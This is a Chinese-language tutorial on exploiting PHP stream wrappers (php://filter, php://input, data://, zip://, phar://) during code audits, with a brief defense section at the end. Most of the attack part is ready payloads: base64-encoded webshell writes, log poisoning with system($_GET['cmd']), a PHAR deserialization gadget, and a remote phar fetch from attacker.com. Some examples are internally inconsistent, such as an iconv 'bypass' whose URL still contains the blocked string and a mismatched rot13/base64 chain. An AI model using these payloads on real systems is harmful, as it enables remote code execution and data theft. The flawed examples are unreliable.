PHP漏洞在白盒审计中的技巧(4)——PHP伪协议利用
字数 1058 2025-08-29 22:41:38
PHP伪协议在白盒审计中的高级利用技巧
一、PHP伪协议概述
PHP伪协议是PHP提供的一系列特殊URL封装协议,允许以各种方式访问本地或远程资源。在白盒审计中,这些协议常被用于绕过安全限制、读取敏感文件或执行任意代码。
二、核心伪协议利用技术
1. php://filter - 文件内容处理与绕过
基本利用方式
// 漏洞代码示例
$file = $_GET['page'];
include($file . '.php');
攻击方式:
- 读取文件源码:
http://example.com/vuln.php?page=php://filter/read=convert.base64-encode/resource=config - 服务器返回config.php的Base64编码内容
绕过死亡代码防御
$content = '<?php exit;' . $_GET['content'];
file_put_contents($_GET['filename'], $content);
攻击方式:
?filename=php://filter/write=convert.base64-decode/resource=shell.php
&content=aPD9waHAgcGhwaW5mbygpOz8+
原理:
<?php exit;被Base64解码为乱码- 后续正确编码的
<?php phpinfo();?>被正常写入
多层过滤器链绕过
if (strpos(file_get_contents($_GET['filename']), '<?php') !== false) {
unlink($_GET['filename']);
}
攻击方式:
filename=php://filter/write=string.rot13|convert.base64-decode/resource=shell.php
&content=<?cuc cucvasb();?>
2. php://input - POST数据注入
基本利用
$file = $_GET['url'];
include($file);
攻击方式:
GET /vuln.php?url=php://input HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
<?php system('id'); ?>
日志文件包含
GET /vuln.php?url=/var/log/nginx/access.log HTTP/1.1
User-Agent: <?php system('cat /flag'); ?>
3. data:// - 内联代码执行
include($_GET['file']);
攻击方式:
http://example.com/vuln.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8=
4. zip:// - 压缩包利用
攻击步骤:
- 创建包含shell.php的ZIP文件,重命名为malicious.jpg
- 上传文件
- 包含压缩包内文件:
http://example.com/include.php?file=zip:///path/to/malicious.jpg%23shell.php
5. phar:// - 反序列化攻击
基本利用
$file = $_GET['file'];
include($file);
攻击方式:
http://example.com/vuln.php?file=phar://uploads/exploit.phar
PHAR文件生成
class Exploit {
public function __destruct() {
system($_GET['cmd']);
}
}
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "payload");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Exploit());
$phar->stopBuffering();
远程PHAR触发
file=phar://attacker.com/exploit.phar
6. 其他特殊协议
glob:// - 目录遍历
file=glob:///var/www/html/*
ogg:// - 反序列化(CVE-2020-7066)
file=ogg:///path/to/payload.ogg
expect:// - 命令执行(需扩展)
http://example.com/vuln.php?cmd=expect://id
三、编码转换绕过技术
1. iconv编码绕过
if(preg_match('/php/i', $_GET['file'])) die('Blocked!');
include($_GET['file']);
攻击方式:
http://example.com/vuln.php?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=config.php
2. UTF-16编码绕过WAF
file=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=shell.php
四、组合攻击技术
1. 日志注入+php://filter
- 注入恶意User-Agent:
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
- 包含日志文件:
http://example.com/vuln.php?file=/var/log/nginx/access.log&cmd=id
- 编码绕过:
http://example.com/vuln.php?file=php://filter/convert.base64-encode/resource=/var/log/nginx/access.log
2. 多层过滤器链
filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
&content=PD9waHAgcGhwaW5mbygpOz8+
五、防御策略
1. 输入过滤
- 白名单限制:
if (!in_array($file, ['safe.php'])) die('Invalid'); - 过滤特殊字符:
../,php://等
2. 配置优化
allow_url_include=Offallow_url_fopen=Offdisable_functions=system,eval
3. 代码加固
- 避免动态包含用户输入
- 使用
realpath()和basename()规范化路径 - 禁用非常用扩展
六、工具与验证
- PHAR生成工具:
php -d phar.readonly=0 generate_phar.php
- 编码转换验证:
echo iconv("UTF-8", "UTF-16", file_get_contents("config.php"));
- 日志注入检测:
tail -f /var/log/nginx/access.log | grep '<?php'
- 过滤器链测试:
php -r "echo file_get_contents('php://filter/read=string.rot13|convert.base64-encode/resource=config.php');"